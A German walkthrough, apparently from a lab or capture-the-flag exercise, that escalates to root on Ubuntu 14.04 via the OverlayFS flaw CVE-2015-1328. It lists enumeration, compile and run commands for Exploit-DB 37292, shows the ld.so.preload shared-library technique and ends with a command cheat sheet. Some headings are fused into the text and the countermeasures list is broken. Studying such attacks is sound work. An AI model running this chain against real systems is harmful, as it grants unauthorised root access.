
Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2015-1328 (OverlayFS), um Privilegien von einem Benutzer mit niedrigen Rechten auf Root unter Ubuntu 14.04 zu erweitern. Enthält Enumeration, Kompilierung des Exploits und Ausführung.
Das Ziel dieses Walkthroughs war es, die Privilegien von einem Benutzer mit geringen Rechten (karen) auf root auszuweiten, indem ein verwundbarer Linux-Kernel ausgenutzt wurde.
Nachdem ich mich per SSH mit dem Zielsystem verbunden hatte:
ssh karen@<target-ip>
Ermittelte ich die Linux-Kernel-Version:
uname -r
Ausgabe:
3.13.0-24-generic
Das System lief mit Ubuntu 14.04 und dem Kernel 3.13.0-24-generic.
Da Linux-Privilege-Escalation oft auf verwundbaren Kerneln basiert, durchsuchte ich Exploit-DB mit SearchSploit:
searchsploit overlayfs ubuntu 3.13
Ergebnis:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Dieser Exploit zielt auf CVE-2015-1328, das Ubuntu-Kernel vor den gepatchten Versionen betrifft.
Bevor ein Exploit ausgeführt wird, ist es wichtig zu verstehen, was er tut.
Der Exploit nutzt einen Fehler in OverlayFS, dem Linux-Union-Dateisystem, aus.
Die Schwachstelle besteht, weil OverlayFS Dateiberechtigungen falsch behandelt, wenn es innerhalb eines User-Namespace (CLONE_NEWUSER) eingehängt wird.
Ein Benutzer ohne Privilegien kann OverlayFS manipulieren, um Dateien zu erstellen oder zu verändern, die eigentlich nur von root beschreibbar sein sollten.
Der Exploit schreibt letztlich in:
/etc/ld.so.preload
Diese Datei weist den Linux-Dynamic-Loader an, vor jedem dynamisch gelinkten Programm eine Shared Library zu laden.
Indem das System gezwungen wird, eine schädliche Shared Library zu laden, erlangt der Exploit Codeausführung als root.
Mit SearchSploit:
searchsploit -m 37292
Dadurch wurde der Exploit lokal kopiert:
37292.c
Der Exploit wurde anschließend auf das Zielsystem übertragen.
In diesem Walkthrough wurde er gespeichert als:
/tmp/ofs.c
Wechsle in das Verzeichnis, das den Exploit enthält:
cd /tmp
Kompiliere ihn mit GCC:
gcc ofs.c -o ofs
Wenn die Kompilierung erfolgreich ist, erzeugt GCC keine Ausgabe.
Überprüfe, ob die ausführbare Datei existiert:
ls -l
Erwartete Ausgabe:
-rwxr-xr-x ... ofs
Führe die ausführbare Datei aus:
./ofs
Der Exploit gibt Meldungen ähnlich der folgenden aus:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Schließlich startet er eine Root-Shell:
#
Überprüfe die Privilegien:
id
Ausgabe:
uid=0(root) gid=0(root)
Mit erlangten Root-Rechten:
cat /home/matt/flag1.txt
Die Datei konnte nun erfolgreich gelesen werden.
Der Exploit führt intern mehrere Aktionen aus.
unshare(CLONE_NEWUSER);
Linux-User-Namespaces erlauben es einem Prozess ohne Privilegien, innerhalb des Namespace als root zu erscheinen, ohne auf dem Host root zu sein.
Diese Fähigkeit ist für den Angriff unerlässlich.
clone(... CLONE_NEWNS ...)
Ein separater Mount-Namespace isoliert Dateisystemänderungen vom Rest des Betriebssystems.
Dadurch kann der Exploit OverlayFS einhängen, ohne das globale Dateisystem zu beeinflussen.
Der Exploit erstellt temporäre Verzeichnisse:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Danach hängt er OverlayFS ein:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
Aufgrund der Kernel-Schwachstelle erlaubt OverlayFS fälschlicherweise Operationen, die root-Rechte erfordern sollten.
/etc/ld.so.preloadDer Exploit benennt eine beschreibbare Datei innerhalb des OverlayFS-Mounts um in:
ld.so.preload
Nach dem erneuten Einhängen von OverlayFS über /etc wird diese Datei zu:
/etc/ld.so.preload
Normalerweise sollte nur root in der Lage sein, diese Datei zu erstellen.
Der Exploit schreibt eine C-Quelldatei:
/tmp/ofs-lib.c
Dann kompiliert er sie:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
Die resultierende Shared Library überschreibt die Funktion getuid().
Der Exploit schreibt:
/tmp/ofs-lib.so
in:
/etc/ld.so.preload
Jedes dynamisch gelinkte Programm lädt nun diese schädliche Bibliothek, bevor eine Systembibliothek geladen wird.
/bin/su ausSchließlich:
execl("/bin/su", "su", NULL);
Wenn su startet, wird die schädliche Funktion getuid() anstelle der ursprünglichen ausgeführt.
Die Bibliothek:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
Das Ergebnis ist eine interaktive Root-Shell.
Die Schwachstelle wird durch eine falsche Berechtigungsbehandlung in OverlayFS verursacht, wenn es innerhalb von User-Namespaces verwendet wird.
Ein Benutzer ohne Privilegien kann OverlayFS manipulieren, um privilegierte Dateien wie:
/etc/ld.so.preload
zu erstellen.
Da der Dynamic-Loader dieser Datei vertraut, wird beliebiger Code als root ausgeführt.
Diese Schwachstelle wurde von Ubuntu in aktualisierten Kernel-Versionen gepatcht.
Zu den Gegenmaßnahmen gehören:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt